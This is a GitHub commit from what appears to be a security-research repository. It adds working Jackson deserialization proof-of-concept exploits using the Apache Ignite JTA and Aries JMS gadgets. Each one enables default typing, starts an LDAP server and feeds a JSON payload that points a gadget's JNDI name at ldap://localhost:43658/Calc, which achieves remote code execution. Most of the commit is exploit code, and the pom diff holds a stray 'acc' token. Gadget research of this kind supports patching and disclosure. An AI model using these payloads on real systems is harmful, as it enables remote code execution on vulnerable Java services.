Skip to content

Commit 4513c88

Browse files
author
“threedr3am”
committed
feat:添加ignite-jta和aries.transaction.jms新jackson gadget
1 parent b1455e3 commit 4513c88

File tree

4 files changed

+109
-2
lines changed

4 files changed

+109
-2
lines changed

jackson/pom.xml

Lines changed: 14 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -97,7 +97,7 @@
9797
</dependency>
9898

9999
<!-- https://mvnrepository.com/artifact/com.codahale.metrics/metrics-healthchecks -->
100-
<dependency>
100+
<dependency>acc
101101
<groupId>com.codahale.metrics</groupId>
102102
<artifactId>metrics-healthchecks</artifactId>
103103
<version>3.0.2</version>
@@ -126,6 +126,19 @@
126126
<artifactId>shiro-core</artifactId>
127127
<version>1.5.1</version>
128128
</dependency>
129+
130+
<dependency>
131+
<groupId>org.apache.ignite</groupId>
132+
<artifactId>ignite-jta</artifactId>
133+
<version>2.8.0</version>
134+
</dependency>
135+
136+
<dependency>
137+
<groupId>org.apache.aries.transaction</groupId>
138+
<artifactId>org.apache.aries.transaction.jms</artifactId>
139+
<version>2.0.0</version>
140+
</dependency>
141+
129142
</dependencies>
130143

131144
</project>
Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
package com.threedr3am.bug.jackson.rce;
2+
3+
import com.fasterxml.jackson.databind.ObjectMapper;
4+
import com.threedr3am.bug.common.server.LdapServer;
5+
import java.io.IOException;
6+
7+
/**
8+
* 比较鸡肋,需要调用writeValueAsString才能触发
9+
*
10+
* Reporter: Srikanth Ramu
11+
*
12+
* Fix will be included in:
13+
*
14+
* 2.9.10.4
15+
* Does not affect 2.10.0 and later
16+
*
17+
* aries.transaction.jms gadget
18+
*
19+
* <dependency>
20+
* <groupId>org.apache.aries.transaction</groupId>
21+
* <artifactId>org.apache.aries.transaction.jms</artifactId>
22+
* <version>2.0.0</version>
23+
* </dependency>
24+
*
25+
* @author threedr3am
26+
*/
27+
public class AriesJMSPoc {
28+
29+
static {
30+
//rmi server示例
31+
// RmiServer.run();
32+
33+
//ldap server示例
34+
LdapServer.run();
35+
}
36+
37+
public static void main(String[] args) throws IOException {
38+
ObjectMapper mapper = new ObjectMapper();
39+
mapper.enableDefaultTyping();
40+
41+
String json = "[\"org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory\", {\"tmJndiName\": \"ldap://localhost:43658/Calc\", \"tmFromJndi\": true}]";
42+
Object o = mapper.readValue(json, Object.class);
43+
mapper.writeValueAsString(o);
44+
}
45+
46+
47+
}
Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
package com.threedr3am.bug.jackson.rce;
2+
3+
import com.fasterxml.jackson.databind.ObjectMapper;
4+
import com.threedr3am.bug.common.server.LdapServer;
5+
import java.io.IOException;
6+
7+
/**
8+
*
9+
* 比较鸡肋,需要调用writeValueAsString才能触发
10+
*
11+
* ignite jta gadget
12+
*
13+
* Mitre id:
14+
* Reporters:
15+
*
16+
* Fix will be included in:
17+
*
18+
* 2.9.10.4
19+
* Does not affect 2.10.0 and later
20+
*
21+
* <dependency>
22+
* <groupId>org.apache.ignite</groupId>
23+
* <artifactId>ignite-jta</artifactId>
24+
* <version>2.8.0</version>
25+
* </dependency>
26+
*
27+
* @author threedr3am
28+
*/
29+
public class IgniteJtaPoc {
30+
31+
static {
32+
//rmi server示例
33+
// RmiServer.run();
34+
35+
//ldap server示例
36+
LdapServer.run();
37+
}
38+
39+
public static void main(String[] args) throws IOException {
40+
ObjectMapper mapper = new ObjectMapper();
41+
mapper.enableDefaultTyping();
42+
43+
String json = "[\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\", {\"jndiNames\": [\"java.util.ArrayList\", [\"ldap://localhost:43658/Calc\"]]}]";
44+
Object o = mapper.readValue(json, Object.class);
45+
mapper.writeValueAsString(o);
46+
}
47+
48+
}

jackson/src/main/java/com/threedr3am/bug/jackson/rce/ShiroPoc.java

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -32,7 +32,6 @@ public static void main(String[] args) throws IOException {
3232
mapper.enableDefaultTyping();
3333

3434
String json = "[\"org.apache.shiro.realm.jndi.JndiRealmFactory\", {\"jndiNames\": \"ldap://localhost:43658/Calc\"}]";
35-
System.out.println(json.charAt(65));
3635
Object o = mapper.readValue(json, Object.class);
3736
mapper.writeValueAsString(o);
3837
}

0 commit comments

Comments
 (0)